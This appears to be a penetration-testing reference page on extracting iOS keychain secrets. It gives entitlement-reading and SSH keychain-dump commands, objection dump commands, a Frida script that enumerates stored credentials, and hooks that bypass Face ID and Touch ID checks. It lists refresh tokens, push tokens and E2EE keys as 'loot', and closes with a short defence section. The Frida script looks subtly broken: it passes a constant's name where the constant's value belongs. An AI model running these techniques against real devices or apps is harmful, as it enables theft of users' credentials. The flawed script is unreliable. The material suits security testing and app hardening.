iOS keychain extraction
TL;DR: On a jailbroken device or with a Frida bridge into the target’s process, you can enumerate every keychain item the app’s
keychain-access-groupspermits — common loot includes refresh tokens, biometric-protected secrets at the wrong protection class, and shared-group items from sister apps in the same Team ID.
What it is
The iOS keychain is a system-wide SQLite-backed credential store accessed via the Security framework (SecItemAdd, SecItemCopyMatching). Items belong to one or more access groups (keychain-access-groups entitlement on the app) and have one of several protection classes:
kSecAttrAccessibleWhenUnlocked— readable while device is unlocked.kSecAttrAccessibleAfterFirstUnlock— readable after the first unlock since boot (default for background-needed items).kSecAttrAccessibleAlways— deprecated, always readable.kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly— requires passcode + non-backupable.*ThisDeviceOnlyvariants — never backed up, never restored.SecAccessControlwithkSecAccessControlUserPresence/BiometryCurrentSet— requires biometric or device-passcode at the moment of access.
The interesting bugs almost always come from picking too weak a protection class (refresh tokens at AfterFirstUnlock rather than WhenPasscodeSet) or sharing access groups too broadly across the Team’s app portfolio.
Preconditions / where it applies
- Jailbroken iOS device (full keychain dump) or an in-process Frida hook on the target app (only that app’s accessible items).
- Knowledge of the target’s
keychain-access-groupsfrom the entitlements blob (see ios-ipa-structure).
Technique
1. Identify the app’s access groups.
1
codesign -d --entitlements - Payload/Victim.app/Victim | grep -A20 keychain
Items shared across apps in the same Team usually use a group like TEAMID.com.victim.shared.
2. Dump from jailbroken device (offline). The keychain is /var/Keychains/keychain-2.db on the device.
1
ssh root@device 'sqlite3 /var/Keychains/keychain-2.db .dump' > keychain.sql
But values are encrypted with per-class keys derived from the device UID + passcode; you need the Keychain Master Key (KMK) to decrypt. Older tools: Keychain-Dumper (Stefan Esser), Keychain_Dumper (binary on Cydia). On modern iOS / arm64e you need a kernel-level primitive to extract the KMK; in practice researchers use Frida on the running securityd.
3. Dump from running app via Frida. Easier and more reliable.
1
2
3
objection -g com.victim.app explore
> ios keychain dump
> ios keychain dump --json keychain.json
Behind the scenes objection calls SecItemCopyMatching with kSecMatchLimit = kSecMatchLimitAll for every protection class. Limited to the app’s entitled access groups, but that’s exactly the loot you want.
4. Frida script — enumerate.
1
2
3
4
5
6
7
8
9
10
11
12
var q = ObjC.classes.NSMutableDictionary.dictionary();
q.setObject_forKey_('kSecClassGenericPassword', 'class');
q.setObject_forKey_(true, 'r_Data');
q.setObject_forKey_(true, 'r_Attributes');
q.setObject_forKey_('m_LimitAll', 'm_Limit');
var result = Memory.alloc(Process.pointerSize);
var fn = new NativeFunction(
Module.findExportByName('Security', 'SecItemCopyMatching'),
'int', ['pointer', 'pointer']);
fn(q.handle, result);
console.log(new ObjC.Object(result.readPointer()));
Run this for kSecClassGenericPassword, kSecClassInternetPassword, kSecClassCertificate, kSecClassKey, kSecClassIdentity.
5. Biometric-gated items. Items wrapped with SecAccessControl + kSecAccessControlBiometryCurrentSet normally require a TouchID/FaceID prompt at access time. Bypasses:
- Hook
LAContext evaluatePolicy:localizedReason:reply:and call the reply block with(BOOL)YES, nil— defeats biometric gate but the underlying keychain item still requires LocalAuthentication context; on jailbroken devices recent research shows the LAContext can be forged. - If the developer used
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly(passcode, not biometric), unlock the device and the read succeeds.
6. Common loot patterns.
- OAuth refresh tokens stored as
kSecClassGenericPasswordkeyed byService=<bundle-id>. - Push tokens (
apn-token). - Biometric-cached symmetric keys (used to derive E2EE secrets).
- Sister-app shared credentials — e.g., a banking app shares a token with its “lite” version via the access group.
Detection and defence
- Use the strictest protection class compatible with the item’s access pattern. Refresh tokens that don’t need background access →
WhenPasscodeSetThisDeviceOnly. - Wrap secrets with
SecAccessControl(.biometryCurrentSet)so re-enrolling Face ID invalidates them. - For high-value items, derive them from a passphrase or Secure-Enclave-backed key and never store the raw secret.
- Minimise
keychain-access-groups: every sister app that joins a group is now a trust-equivalent of the most sensitive item in it. - Server-side: rotate refresh tokens on any anomaly; don’t rely on keychain confidentiality alone.